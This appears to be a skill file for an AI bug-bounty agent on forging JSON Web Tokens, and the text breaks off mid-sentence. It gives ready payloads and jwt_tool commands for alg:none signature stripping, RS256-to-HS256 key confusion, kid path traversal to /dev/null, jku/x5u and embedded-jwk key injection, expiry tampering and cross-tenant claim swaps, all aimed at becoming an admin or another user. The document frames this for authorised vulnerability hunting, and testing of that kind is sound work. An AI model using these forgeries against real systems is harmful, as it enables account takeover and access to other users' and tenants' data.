/hunt-jwt-crypto

name: hunt-jwt-crypto
description: "Hunt JWT cryptographic failures — alg:none signature-stripping and RS256→HS256 key-confusion that let an attacker forge a token for any identity (e.g. an admin) without knowing a secret. Use when the app authenticates with a JSON Web Token (an `eyJ...` Bearer token in the Authorization header, a cookie, or a login response). This skill OWNS JWT signature/crypto forgery (alg:none, key confusion, kid/jku header injection); hunt-ato covers JWT as one ATO path, hunt-auth-bypass covers SSO/SAML token trust, hunt-api-misconfig covers non-crypto JWT handling. Critical when a forged token grants access to another user's data or an admin-only endpoint."
sources: hackerone_public

HUNT-JWT-CRYPTO — Forgeable JSON Web Tokens (A04 Cryptographic Failures)

What actually pays

A JWT is `header.payload.signature`, each base64url. The signature is the only thing stopping you from editing the payload (your identity/role) and replaying it. It pays **High/Critical** when the verifier can be tricked into accepting a token you forged — so you become another user or an admin without their secret.

Two classic, generic verifier flaws:

• **`alg:none`** — the verifier trusts the token's own `alg` header. Set

`alg:"none"`, drop the signature, edit the payload (e.g. `role:"admin"`, another user's `id`/`email`). A broken verifier skips signature checking.

• **RS256 → HS256 key confusion** — the token is signed RS256 (asymmetric). The

RSA **public** key is, by definition, public. If the verifier lets you choose HS256, it will use that public key as the HMAC *secret* — which you also know. Sign an edited payload with HS256 using the public key and it validates.

Recon — is this app JWT-based?

Login/token responses containing  "token":"eyJ..."   or  Set-Cookie: token=eyJ...
Authorization: Bearer eyJ...    on authenticated requests
A JWKS / public-key endpoint:   /.well-known/jwks.json, /jwks, public-key in the JS bundle

Decode the header (base64url the first segment). `"alg":"RS256"` → try key confusion. Any alg → always try `alg:none` first; it's free.

Forging the token (never hand-encode base64 — use a JWT tool)

Use a purpose-built tool so encoding/signing is correct: **jwt_tool** (`jwt_tool <token> -T` to tamper interactively, `-X a` for alg:none, `-X k -pk public.pem` for key confusion), Burp's **JWT Editor** extension, or a few lines of **PyJWT**. Each forge below is the concept plus the claim to edit.

**alg:none — become admin / another user**

header:    {"alg":"none","typ":"JWT"}
payload:   {"data":{"id":1,"email":"admin@target.example","role":"admin"}}
signature: (empty — keep the trailing dot:  header.payload. )

Some verifiers reject lowercase `none` but accept `None`/`NONE`/`nOnE` — try case variants.

**RS256 → HS256 key confusion — once you have the RSA public key**

1. Obtain the server's RSA public key as PEM. Sources: /jwks.json or
   /.well-known/jwks.json (convert the JWK to PEM), a public-key file in the JS
   bundle, or recover it from two captured tokens (e.g. jwt_tool / rsa_sign2n).
2. Re-sign an EDITED payload with HS256, using that PEM as the HMAC secret:
      jwt_tool <token> -X k -pk public.pem
   payload edit:  {"sub":"administrator"}   (or role:"admin" / another user's id)

**kid header injection — verifier loads the HMAC key from a FILE named by `kid`**

header:  {"alg":"HS256","kid":"../../../../../../../dev/null"}
secret:  ""     (contents of /dev/null = empty string → sign HS256 with an empty secret)
payload: {"sub":"administrator"}

Traverse out of the keys directory first. `kid` can also carry SQLi / command injection / SSRF if the key lookup hits a DB / shell / URL — same idea: `kid` is attacker-controlled and reaches a dangerous sink.

**jku / x5u header injection (RS256) — verifier fetches the public key from a URL in the token**

1. Host a JWKS containing a public key you control, on a server the verifier can reach.
2. Set the token's `jku` (or `x5u`) header to that URL and sign the edited payload
   with YOUR matching private key.
3. If the verifier allowlists jku hosts, chain an open-redirect or SSRF-reachable
   path on the target's OWN domain so the fetch resolves to your JWKS.

**jwk header self-signed key injection (RS256) — embed an attacker-controlled public key in the token**

header:  {"alg":"RS256","jwk":{"kty":"RSA","n":"<your_rsa_modulus>","e":"AQAB"}}
payload: {"sub":"administrator"}
signature: (sign with your matching private key)

Some verifiers incorrectly trust a `jwk` (JSON Web Key) claim in the header and use it to validate the signature. Generate your own RSA keypair, embed the public key in the token header, sign with your private key, and send. Works when the verifier does not verify the key's provenance or allowlist.

**Expiry / time-based claim manipulation**

Remove "exp" (expiration) claim entirely — many validators skip the check if absent.
Or set "nbf" (not before) to the past and "exp" (expiration) to far future (e.g. year 2099).
Edit payload: {"sub":"administrator","nbf":1000000000,"exp":4102444800}

Combined with any forging technique above (alg:none, key confusion, jwk injection), this bypasses time-based validation when the verifier does not enforce strict expiry rules.

**Cross-tenant claim injection — escalate to another tenant's data via claim swaps**

Identify tenant-related claims in a decoded real token: "org_id", "tenant", "account_id",
"workspace_id", "customer_id". Edit the target claim to another tenant's value.
Example: {"sub":"victim@org.com","org_id":1234} → change org_id to an admin's org (e.g. 9999).

This is systematic IDOR via claims — if authorization logic trusts the token claims without checking ownership server-side, you cross into another tenant's resources. Works especially well combined with alg:none or weak-secret attacks.

Match the `payload` shape to a REAL token from the app (decode one first) — k